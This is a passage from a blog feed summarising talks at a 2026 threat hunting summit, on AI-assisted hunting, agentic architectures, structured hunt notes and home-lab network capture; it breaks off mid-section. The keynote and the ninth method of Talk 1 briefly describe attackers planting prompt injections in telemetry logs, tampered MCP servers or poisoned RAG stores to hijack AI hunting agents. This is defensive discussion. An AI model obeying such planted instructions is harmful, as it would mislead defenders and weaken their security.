        <category label="Qualys" term="Qualys"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Summary of Antisyphon Training - Threat Hunting Summit 2026]]></title>
        <id>https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary</id>
        <link href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary"/>
        <updated>2026-06-28T04:00:00.000Z</updated>
        <summary type="html"><![CDATA[This blog is a summary of talks held at Antisyphon Training Threat Hunting Summit 2026 on 17th June 2026.
]]></summary>
        <content type="html"><![CDATA[<p>This blog is a summary of talks held at <em>Antisyphon Training - Threat Hunting Summit 2026</em> on 17th June 2026.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="morning-keynote-hunters-paradox---is-it-time-to-embrace-automated-threat-hunting-by-david-bianco">Morning Keynote: "Hunters Paradox - Is It Time to Embrace Automated Threat Hunting" by David Bianco<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#morning-keynote-hunters-paradox---is-it-time-to-embrace-automated-threat-hunting-by-david-bianco" class="hash-link" aria-label="Direct link to Morning Keynote: &quot;Hunters Paradox - Is It Time to Embrace Automated Threat Hunting&quot; by David Bianco" title="Direct link to Morning Keynote: &quot;Hunters Paradox - Is It Time to Embrace Automated Threat Hunting&quot; by David Bianco" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="introduction">Introduction<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#introduction" class="hash-link" aria-label="Direct link to Introduction" title="Direct link to Introduction" translate="no">​</a></h3>
<p>This keynote session posed more brainstorming questions that would drive the community to think and tinker around and identify effective approaches to AI enabled threat hunting.</p>
<p>As we already know that AI attacks are on the rise, so what would happen if we as defenders use AI to our advantage?</p>
<p>From a threat actor's perspective, adopting AI is relatively straightforward and they use AI more aggressively as they are not concerned about collateral damage or unintended consequences, on the other hand defenders must take a far more measured and responsible approach while using AI for defense as it can inadvertently weaken an organization's security posture if not implemented properly.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-we-cant-trust-ai">Why we can't trust AI<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#why-we-cant-trust-ai" class="hash-link" aria-label="Direct link to Why we can't trust AI" title="Direct link to Why we can't trust AI" translate="no">​</a></h3>
<p>How the attackers/threat actors can cheat us -</p>
<ul>
<li class=""><strong>Deceiving the AI directly</strong> - Threat actors can embed instructions in logs/telemetry that the AI later reads during threat hunting and in turn performing a <mark>prompt injection attack</mark> on the AI model.</li>
<li class=""><strong>Deceiving via deception</strong> - Attackers operate in a medium of lies. While telemetry itself may be technically accurate but threat actor might have staged benign looking activity masking malicious actions. Because AI models are bad at subtlety (adversarial deception in our case), they may misinterpret these signals and produce inaccurate assessments or reports.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-hunters-paradox">The Hunter's Paradox<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#the-hunters-paradox" class="hash-link" aria-label="Direct link to The Hunter's Paradox" title="Direct link to The Hunter's Paradox" translate="no">​</a></h3>
<p>Modern security environments generate terabytes of telemetry everyday.
The sheer volume and velocity at which these telemetry gets ingested makes it difficult for humans to read and analyse it all, even large teams can't keep up with this scale.
Modern day threat actors with the help of AI operate at machine speed, so we have to act quickly as well which can only done with the help of AI, but we can't trust it as well.</p>
<blockquote>
<p><em>This is Hunter's Paradox — We can't hunt at scale without AI, but we can't fully trust the AI we need.</em></p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="proposing-a-new-era-of-threat-hunting">Proposing a new era of threat hunting<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#proposing-a-new-era-of-threat-hunting" class="hash-link" aria-label="Direct link to Proposing a new era of threat hunting" title="Direct link to Proposing a new era of threat hunting" translate="no">​</a></h3>
<p>In 2015, organizations increasingly recognized the need for threat hunting, driven by the fear that attackers could already be present in their environments and that traditional detection systems were insufficient, but people were not sure on what it was or how to perform it, there was no single framework to define that. So to teach people threat hunting and sell their product, <em>Sqrrl Threat Hunting Loop</em> was created. Sqrrl's framework was the first published "how to" for threat hunting.
It Focused on hypothesis-driven hunting and detection improvement.
Later: <em>PEAK Threat Hunting Framework</em> (Splunk, 2023) was built on similar ideas.</p>
<p>Both frameworks defined threat hunting as:</p>
<blockquote>
<p><em>"Any manual or machine-assisted process for identifying security incidents your automated detection systems missed."</em></p>
</blockquote>
<p>For many years this definition was valid as machine assited humans by accelerating investigations but at the end we needed a human to drive the hunt, but he thinks that this is coming to an end.</p>
<p>So if it can't be manual or machine assisted then what it should be?
Now David proposes a new definition as Threat hunting might be…</p>
<blockquote>
<p><mark>"Any <strong>reasoning-driven</strong> process for identifying security incidents your automated detection systems missed."</mark></p>
</blockquote>
<p>As today, humans are not only the ones who can reason, AI can also reason, these models are not perfect but it can do the work.
So if hunting is reason driven, then we should allow AI to drive the hunts.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="blueprint-for-autonomous-ai-hunts--the-three-pillars">Blueprint for Autonomous AI Hunts — The Three Pillars<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#blueprint-for-autonomous-ai-hunts--the-three-pillars" class="hash-link" aria-label="Direct link to Blueprint for Autonomous AI Hunts — The Three Pillars" title="Direct link to Blueprint for Autonomous AI Hunts — The Three Pillars" translate="no">​</a></h3>
<p>Now we have to allow AI to drive the process, where should we start?
We can't just give AI so much data and tell it to hunt, we need some structure and guardrails to be really effective.</p>
<ol>
<li class=""><strong>Tight Focus</strong> – AI should initially be assigned well-scoped, familiar, and highly contained hunting tasks. These are hunts with established procedures, known objectives, and clear success criteria rather than open-ended investigations requiring deep contextual understanding. A good starting point is existing hunt procedures developed by experienced threat hunters. For example, communities such as the <em>THOR Collective</em> have documented hunt procedures that provide structured workflows while still requiring some level of reasoning.</li>
<li class=""><strong>Strict Guidelines</strong> – Clear rules on what the AI can and cannot do. We can't afford to deploy AI systems without strong identity and access management (IAM) controls. AI agents should be treated much like service accounts: they need unique identities, well-defined permissions, continuous monitoring, and comprehensive audit trails. Every action they take should be attributable, traceable, and governed by clear security policies. <mark>Treat AI as a capable but inexperienced employee.</mark></li>
<li class=""><strong>Graduated Autonomy</strong> – Begin with advisory roles with limited actions then later give more autonomy as trust builds.</li>
</ol>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="existing-ai-hunting-capabilities">Existing AI Hunting Capabilities<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#existing-ai-hunting-capabilities" class="hash-link" aria-label="Direct link to Existing AI Hunting Capabilities" title="Direct link to Existing AI Hunting Capabilities" translate="no">​</a></h3>
<ul>
<li class="">Tools and assistants already exist (e.g., David's open-source <em>PEAK Assistant</em> targets the Prepare phase: scoping and planning).</li>
<li class="">Automation is stronger in Execute and Act phases.</li>
<li class="">Combination of agent skills + MCP servers can go quite far.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="recommendations-going-forward">Recommendations Going Forward<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#recommendations-going-forward" class="hash-link" aria-label="Direct link to Recommendations Going Forward" title="Direct link to Recommendations Going Forward" translate="no">​</a></h3>
<ul>
<li class="">Reframe hunting as <em>reasoning-driven</em>.</li>
<li class="">Three Pillars — Narrow scope + strict guidelines + graduated autonomy.</li>
<li class="">Humans set the agenda and drive creative/strategic elements.</li>
<li class="">Experiment as a community.</li>
<li class="">Don't over rely on AI always keep humans in the driver's seat.</li>
</ul>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="talk-1-how-agents-solve-threat-huntings-biggest-problem-by-faan-rossouw">Talk 1: "How Agents Solve Threat Huntings Biggest Problem" by Faan Rossouw<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#talk-1-how-agents-solve-threat-huntings-biggest-problem-by-faan-rossouw" class="hash-link" aria-label="Direct link to Talk 1: &quot;How Agents Solve Threat Huntings Biggest Problem&quot; by Faan Rossouw" title="Direct link to Talk 1: &quot;How Agents Solve Threat Huntings Biggest Problem&quot; by Faan Rossouw" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="introduction-1">Introduction<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#introduction-1" class="hash-link" aria-label="Direct link to Introduction" title="Direct link to Introduction" translate="no">​</a></h3>
<p>Faan picks up exactly where David's keynote left off.
He walks on the same line of questions that David presented us in the keynote and suggests what would happen if we replace human judgement with a pattern matching agent.
To present the problem to us, he takes help of an analogy.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-analogy--spotting-the-deer-in-the-forest">The Analogy — Spotting the deer in the forest<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#the-analogy--spotting-the-deer-in-the-forest" class="hash-link" aria-label="Direct link to The Analogy — Spotting the deer in the forest" title="Direct link to The Analogy — Spotting the deer in the forest" translate="no">​</a></h3>
<ul>
<li class="">You're in a forest with a radio, Faan tells you to report over the radio as soon as you see a deer.</li>
<li class="">You spot a deer, you report it to Faan.</li>
<li class="">You spot a <em>deer with a mustache</em>, you laugh and report the variation naturally.</li>
<li class="">Now, Replace the human with a rigid pattern matching agent (GOF deterministic detection signature) it only sees exact "deer" and misses variants.</li>
</ul>
<p>Now how to solve this problem? One way would be to just relax the detection criteria so that the agent spots the variation as well. But it introduces another problem, i.e. <strong>False Positive Deluge</strong>.</p>
<p>So if detection criteria is -</p>
<ul>
<li class="">Too Strict = Miss slight variations, FNs = <em>Brittle</em></li>
<li class="">Too Relaxed = Introduce too many FPs = <em>Noisy</em></li>
</ul>
<blockquote>
<p><em>Alert based security is <mark>low resolution</mark>.</em></p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-alert-based-security-is-low-resolution">Why alert based security is low resolution?<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#why-alert-based-security-is-low-resolution" class="hash-link" aria-label="Direct link to Why alert based security is low resolution?" title="Direct link to Why alert based security is low resolution?" translate="no">​</a></h3>
<p>So in a typical SOC environment, if we focus only on the alert part, from a machine's perspective it will be just a boolean value, i.e., it will be an alert or not one, but for us as humans there is more to it, we use initial breadcrumbs to derive a conclusion or there is some kind of chain of thoughts associated to it which drives our process to evaluate, we like to connect the dots to arrive at a conclusion, or for that matter make intuitive calls during the process, that is what human judgement is all about in threat hunting, we drive the process, we are involved in the detection itself and not just in reviewing the output.</p>
<blockquote>
<p><em>The main goal of threat hunting is not just to find threats, it's main goal is to <mark>drive overall improvement in security posture</mark>, as David reframed it in the PEAK framework.</em></p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="if-threat-hunting-is-so-great-why-is-it-still-seen-as-a-luxury">If threat hunting is so great, why is it still seen as a luxury?<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#if-threat-hunting-is-so-great-why-is-it-still-seen-as-a-luxury" class="hash-link" aria-label="Direct link to If threat hunting is so great, why is it still seen as a luxury?" title="Direct link to If threat hunting is so great, why is it still seen as a luxury?" translate="no">​</a></h3>
<p>As David also highlighted in his keynote, the detection demand is increasing but human judgement can't dramatically scale with it and match the requirements.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="so-what-is-his-core-thesis">So what is his core thesis?<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#so-what-is-his-core-thesis" class="hash-link" aria-label="Direct link to So what is his core thesis?" title="Direct link to So what is his core thesis?" translate="no">​</a></h3>
<blockquote>
<p><em>"We can dramatically scale human judgement through the <mark>intentional integration of an agentic layer</mark> in a threat hunting system."</em></p>
</blockquote>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="how-to-then-do-intentional-integration">How to then do intentional integration?<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#how-to-then-do-intentional-integration" class="hash-link" aria-label="Direct link to How to then do intentional integration?" title="Direct link to How to then do intentional integration?" translate="no">​</a></h4>
<p>Identify where you can utilize transformer based intelligence to maximize strengths of your organisations while also retaining deterministic code and human intelligence, if there is a chance of AI hallucination then stick to the basics of using the good old fashion deterministic code. So it all boils down in identifying key areas where you can boost your overall security posture and use the strengths of all three.</p>
<p>Keypoints -</p>
<ul>
<li class="">Use where it presents value</li>
<li class="">Omit where it does not present value</li>
<li class="">Maximize strengths</li>
<li class="">Minimize + mitigate weaknesses</li>
</ul>
<p>So to cover all these keypoints he proposes <strong>9 fundamental methods</strong> to integrate Agentic AI into existing systems.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="9-fundamental-methods-for-integrating-agentic-ai-into-existing-systems">9 fundamental methods for integrating Agentic AI into existing systems<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#9-fundamental-methods-for-integrating-agentic-ai-into-existing-systems" class="hash-link" aria-label="Direct link to 9 fundamental methods for integrating Agentic AI into existing systems" title="Direct link to 9 fundamental methods for integrating Agentic AI into existing systems" translate="no">​</a></h3>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="1-data-agent-interface">1. Data-Agent Interface<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#1-data-agent-interface" class="hash-link" aria-label="Direct link to 1. Data-Agent Interface" title="Direct link to 1. Data-Agent Interface" translate="no">​</a></h4>
<p>You cannot simply dump millions of logs into an LLM and tell it to "find evil." Agents are designed for reasoning, not raw calculation. Doing so leads to context overflow, the "lost in the middle" fallacy, high latency, and spurious correlations. To bridge this gap efficiently, defenders must use:</p>
<ul>
<li class="">
<p><strong>Pre-Emptive Data Analysis (Distillation):</strong> Using traditional compute to run statistical analysis on all the telemetry and then using that probability in your hypothesis generation.</p>
</li>
<li class="">
<p><strong>On-Demand Analysis &amp; Retrieval:</strong> Leveraging frameworks like <em>CodeAct</em> or <em>Roberto Rodriguez's</em> concepts which helps in standardizing the tooling that the AI can use, then the AI can query and analyze data dynamically, after the generation of initial hypothesis.</p>
</li>
<li class="">
<p><strong>Relational Structuring (Knowledge Graphs):</strong> KGs are a very efficient way to elucidate the relationships between different data entities, so first process your telemetry into KGs before agents deal with it.</p>
</li>
<li class="">
<p><strong>Agentic Detection Engineering:</strong> After parsing IOCs from your intel feeds, use agents to run sigma detections on your telemetry.</p>
</li>
<li class="">
<p><strong>GUI / Vision Mediation (Legion)</strong></p>
</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="2-shared-state">2. Shared State<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#2-shared-state" class="hash-link" aria-label="Direct link to 2. Shared State" title="Direct link to 2. Shared State" translate="no">​</a></h4>
<p>We do standard LLM interactions by sending streaming tokens via an API call to the LLM and receive streaming tokens back as an answer, even when LLM runs a tool, its a json request to run the tool, the model can't really run the tool.
So the question arises that how do we preserve those values returned by different API calls that are running in parallel during hunts so that these values are accessible to future agents?
The answer to it is <mark>Knowledge Graphs</mark>.
Faan highlights KGs as a highly effective way to map out this shared state, especially when tracking the complex connections between different entities during a hunt.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="3-tools">3. Tools<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#3-tools" class="hash-link" aria-label="Direct link to 3. Tools" title="Direct link to 3. Tools" translate="no">​</a></h4>
<p>Hunters love their tools, and agents can be given the ability to use them either by asking the harness to perform the action or through automated workflows. Models do not execute the tools directly; the harness makes the API call on their behalf.</p>
<ul>
<li class=""><strong>Inline Functions:</strong> Any inline function created in the harness can be exposed to the model.</li>
<li class=""><strong>Shell Use (CLI):</strong> Models are highly capable at CLI use due to its short, corrective feedback loop.</li>
<li class=""><strong>API Calls (Cross-Process):</strong> CLIs are a flexible and popular approach for making API calls, and the <em>Model Context Protocol (MCP)</em> can also be utilized.</li>
<li class=""><strong>GUI Automation:</strong> While classically viewed as expensive and slow, GUI automation is improving, allowing agents to learn by shadowing human interactions on the interface.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="4-orchestration">4. Orchestration<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#4-orchestration" class="hash-link" aria-label="Direct link to 4. Orchestration" title="Direct link to 4. Orchestration" translate="no">​</a></h4>
<p>Default agent interactions often occur in a sequential manner, where a user asks a question and the model replies.<br>
When scalling we want to move away from this sequential pattern, how to do that?</p>
<ul>
<li class=""><strong>Parallelization:</strong> When scaling, independent tasks can be run in parallel to reduce latency.</li>
<li class=""><strong>Maker-Checker Design:</strong> Models can review each other's outputs, sometimes acting as an "LLM as a judge."</li>
<li class=""><strong>Gates:</strong> Multiple agents can act as review gates in a workflow before critical decisions cascade and affect other areas.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="5-skills">5. Skills<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#5-skills" class="hash-link" aria-label="Direct link to 5. Skills" title="Direct link to 5. Skills" translate="no">​</a></h4>
<p>Skills are the evolutionary progression from simple "prompts." It's where we concretize the fuzzy knowledge of organization (what lives in a hunter's head) into <mark>Standard Operating Procedures (SOPs)</mark>.</p>
<p><strong>Characteristics:</strong> They must be <em>executable</em>, <em>automatable</em>, and <em>atomic</em> (targeting a very specific method or objective).</p>
<p><strong>Lifecycle:</strong> Skills should be composable (combinable), version-controlled, A/B tested, and shareable with the community.</p>
<p><strong>Direction:</strong> You cannot just tell an agent to "go find stuff." Skills provide the strict boundaries: <em>"Here is the telemetry, here is the specific thing you are looking for, and here are the conditional workflows and reference scripts to use."</em></p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="6-context-engineering">6. Context Engineering<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#6-context-engineering" class="hash-link" aria-label="Direct link to 6. Context Engineering" title="Direct link to 6. Context Engineering" translate="no">​</a></h4>
<p>Everything a base model knows lives in its pre-trained weights.
There are two flaws associated with it first is that the knowledge base lags behind by few months and another is that they are inherently flawed for enterprise defense because they know absolutely nothing about your specific organization, network architecture, or crown jewels.
So to give them the context, we can use mechanisms like <em>RAG (Retrieval-Augmented Generation)</em> or <em>DuckDB</em> to inject specific organizational context right when the agent needs it.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="7-feedback-loops">7. Feedback Loops<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#7-feedback-loops" class="hash-link" aria-label="Direct link to 7. Feedback Loops" title="Direct link to 7. Feedback Loops" translate="no">​</a></h4>
<p>Introducing a skills based node that allows for intentional reflection following a hunt to give suggestions of how it can improve itself. To simplify, After a hunt another agent will look into the hunt and ask questions that what was missed during the hunt while also coming up with suggestions to improve itself.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="8-evaluations">8. Evaluations<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#8-evaluations" class="hash-link" aria-label="Direct link to 8. Evaluations" title="Direct link to 8. Evaluations" translate="no">​</a></h4>
<p>When you alter the system's architecture, prompts, or skills, you need a way to measure the impact of those changes.
Eval ensures that system improvements are driven by <mark>hard metrics and verifiable performance data</mark>, rather than just relying on "vibes" or gut feelings about the AI's output.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="9-adversarial-resilience">9. Adversarial Resilience<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#9-adversarial-resilience" class="hash-link" aria-label="Direct link to 9. Adversarial Resilience" title="Direct link to 9. Adversarial Resilience" translate="no">​</a></h4>
<p>As David mentioned in the keynote, introducing an AI agent layer inherently increases your attack surface.
Therefore the threat actors can exploit the AI via prompt injection hidden within telemetry logs, manipulated MCP servers, or poisoned RAG databases.
So we should actively guard and remediate every vector where an attacker could theoretically influence or hijack the agent's reasoning.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="talk-2-avoiding-hunt-amnesia---building-a-memory-your-ai-can-use-by-sydney-marrone">Talk 2: "Avoiding Hunt Amnesia - Building a Memory Your AI Can Use" by Sydney Marrone<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#talk-2-avoiding-hunt-amnesia---building-a-memory-your-ai-can-use-by-sydney-marrone" class="hash-link" aria-label="Direct link to Talk 2: &quot;Avoiding Hunt Amnesia - Building a Memory Your AI Can Use&quot; by Sydney Marrone" title="Direct link to Talk 2: &quot;Avoiding Hunt Amnesia - Building a Memory Your AI Can Use&quot; by Sydney Marrone" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="introduction-2">Introduction<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#introduction-2" class="hash-link" aria-label="Direct link to Introduction" title="Direct link to Introduction" translate="no">​</a></h3>
<p>Sydney starts by presenting us the problem of <strong>Hunt Amnesia</strong>, what she simply means by that is our teams conduct a successful threat hunt and forget their own work; like 6 months or 1 year down the line, our teams are unable to remember that what queries were executed, the hypothesis or even what was the result of the hunt.
She highlights that in 2026, it's still one of the biggest things that lies between our threat hunting teams and AI augmented threat hunting.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-price-we-pay-when-suffering-from-hunt-amnesia">What price we pay when suffering from Hunt Amnesia<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#what-price-we-pay-when-suffering-from-hunt-amnesia" class="hash-link" aria-label="Direct link to What price we pay when suffering from Hunt Amnesia" title="Direct link to What price we pay when suffering from Hunt Amnesia" translate="no">​</a></h3>
<ul>
<li class="">Same Hypothesis, possibly hunted twice.</li>
<li class="">Same dead end, encountered twice.</li>
<li class="">New hunter who is onboarded has zero knowledge of previous hunts, so they are starting from zero.</li>
</ul>
<blockquote>
<p><em>The <mark>Knowledge</mark> part in PEAK framework is the most important that most people skip. Knowledge is connected to all parts of the hunt, so it has to be compounded at each and every step of a threat hunt.</em></p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="agentic-threat-hunting-framework-athf">Agentic Threat Hunting Framework (ATHF)<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#agentic-threat-hunting-framework-athf" class="hash-link" aria-label="Direct link to Agentic Threat Hunting Framework (ATHF)" title="Direct link to Agentic Threat Hunting Framework (ATHF)" translate="no">​</a></h3>
<p>ATHF is a framework in which AI agents join us in threat hunting cycle as <strong>collaborators</strong>, they do not replace us, they enable us.
Now ATHF needs structured hunt notes, ATHF only works if our past hunts are readable to a human or even a model, so we need structuring, this is where <strong>LOCK</strong> comes in.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="lock-format">LOCK format<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#lock-format" class="hash-link" aria-label="Direct link to LOCK format" title="Direct link to LOCK format" translate="no">​</a></h3>
<p>The LOCK has four moves:</p>
<ul>
<li class=""><strong>L</strong>earn - Contains what our hypothesis is and what's the threat context</li>
<li class=""><strong>O</strong>bserve - Contains what does the expected normal look like or what does suspicious look like</li>
<li class=""><strong>C</strong>heck - Contains our queries which were executed, their results, the analysis that was performed and conducted iterations.</li>
<li class=""><strong>K</strong>eep - Contains the decisions made that were part of the hunt, lesson learned from this hunt, and what we will improve in next hunt.</li>
</ul>
<p>These all four moves go in a single hunt file which is in markdown (<code>.md</code>) format.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="front-matter">Front Matter<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#front-matter" class="hash-link" aria-label="Direct link to Front Matter" title="Direct link to Front Matter" translate="no">​</a></h4>
<p>The front matter is in YAML format, it contains facts like -</p>
<ul>
<li class="">When did the hunt run?</li>
<li class="">What TTPs were executed?</li>
<li class="">What it is linked to?</li>
<li class="">What are the results?</li>
<li class="">etc..</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="body">Body<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#body" class="hash-link" aria-label="Direct link to Body" title="Direct link to Body" translate="no">​</a></h4>
<p>Below front matter we have our body, this is where our LOCK format actually comes into play, we have our LOCK headings and their subsequent information as stated above.</p>
<p>The above format makes it easier for AI to query it, the sections are predictable which helps our teams to stick with the structure and makes our job easier to maintain memory.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="using-ai-agents-to-query">Using AI Agents to query<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#using-ai-agents-to-query" class="hash-link" aria-label="Direct link to Using AI Agents to query" title="Direct link to Using AI Agents to query" translate="no">​</a></h3>
<p>Just simply provide your AI agent the above created markdown files and ask questions related to your past hunts.
Make a markdown hunt repo where you store all your previous hunts.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="takeaways">Takeaways<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#takeaways" class="hash-link" aria-label="Direct link to Takeaways" title="Direct link to Takeaways" translate="no">​</a></h3>
<ul>
<li class="">LOCK keeps our previous hunts in order, giving them a proper structure and in turn making it easier for our teams to look back in time while also making it easier for AI agents to query and find information about our previous hunts.</li>
<li class=""><mark>Memory compounds over time</mark> which helps our team to gain more knowledge over time, also less reliance of new hunters over seniors.</li>
</ul>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="lunch-demo-getting-started-with-network-based-threat-hunting-by-active-countermeasures-team">Lunch Demo: "Getting Started with Network-Based Threat Hunting" by Active Countermeasures Team<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#lunch-demo-getting-started-with-network-based-threat-hunting-by-active-countermeasures-team" class="hash-link" aria-label="Direct link to Lunch Demo: &quot;Getting Started with Network-Based Threat Hunting&quot; by Active Countermeasures Team" title="Direct link to Lunch Demo: &quot;Getting Started with Network-Based Threat Hunting&quot; by Active Countermeasures Team" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="introduction-3">Introduction<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#introduction-3" class="hash-link" aria-label="Direct link to Introduction" title="Direct link to Introduction" translate="no">​</a></h3>
<p>During the lunch break, Joe provided an introductory session on network threat hunting. The goal of this session was to help beginners collect, explore, and analyze network traffic in their home labs.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-shape-of-network-traffic">The Shape of Network Traffic<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#the-shape-of-network-traffic" class="hash-link" aria-label="Direct link to The Shape of Network Traffic" title="Direct link to The Shape of Network Traffic" translate="no">​</a></h3>
<p>When analyzing network traffic, packets are built in layers to encapsulate specific tasks. A simple <code>curl</code> request requires around 11 packets just to fetch an HTML page. These are the layers that matter most during threat hunting:</p>
<ul>
<li class=""><strong>Link Layer:</strong> Handles flow within your local network (e.g., your laptop to your router).</li>
<li class=""><strong>Internet Layer:</strong> Routes your traffic across the internet (e.g., local IP and server IP).</li>
<li class=""><strong>Transport Layer:</strong> Handles the conversation flow and ports (e.g., TCP handshakes and port numbers).</li>
<li class=""><strong>Application Layer:</strong> Carries the actual message, which is usually encrypted (e.g., HTTP/HTTPS traffic).</li>
</ul>
<p>Looking at raw packets (PCAPs) in Wireshark can be overwhelming due to the sheer volume of data.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-need-for-connection-summaries">The Need for Connection Summaries<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#the-need-for-connection-summaries" class="hash-link" aria-label="Direct link to The Need for Connection Summaries" title="Direct link to The Need for Connection Summaries" translate="no">​</a></h3>
<blockquote>
<p><em>Threat hunters live in the <mark>abstraction layer</mark>. We don't want to stare at individual packets; we want connection summaries to build a behavioral story.</em></p>
</blockquote>
<ul>
<li class="">Summaries tell us: Timestamp, Source/Destination IPs, Ports, Duration, and Bytes Transferred.</li>
<li class="">When combined with behavioral analysis (e.g., seeing a connection occur exactly every 20 seconds), we can hypothesize about what a device is actually doing.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="building-a-home-lab-pipeline">Building a Home Lab Pipeline<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#building-a-home-lab-pipeline" class="hash-link" aria-label="Direct link to Building a Home Lab Pipeline" title="Direct link to Building a Home Lab Pipeline" translate="no">​</a></h3>
<p>Joe showcased a simple, affordable pipeline for analyzing network traffic at home:</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="1-capture-traffic-packet-capture">1. Capture Traffic (Packet Capture)<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#1-capture-traffic-packet-capture" class="hash-link" aria-label="Direct link to 1. Capture Traffic (Packet Capture)" title="Direct link to 1. Capture Traffic (Packet Capture)" translate="no">​</a></h4>
<ul>
<li class=""><strong>Passive Collection:</strong> Observing traffic on the side without modifying or decrypting it.</li>
<li class=""><strong>Local Machine:</strong> Use <code>tcpdump</code> (Linux/Mac) or <code>tshark</code> (Windows).</li>
<li class=""><strong>Travel Router:</strong> Use a cheap travel router, plug in a USB flash drive, run <code>tcpdump</code>, and connect all your devices. Let it run for 24 hours to capture your entire local network's traffic.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="2-generate-zeek-logs">2. Generate Zeek Logs<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#2-generate-zeek-logs" class="hash-link" aria-label="Direct link to 2. Generate Zeek Logs" title="Direct link to 2. Generate Zeek Logs" translate="no">​</a></h4>
<ul>
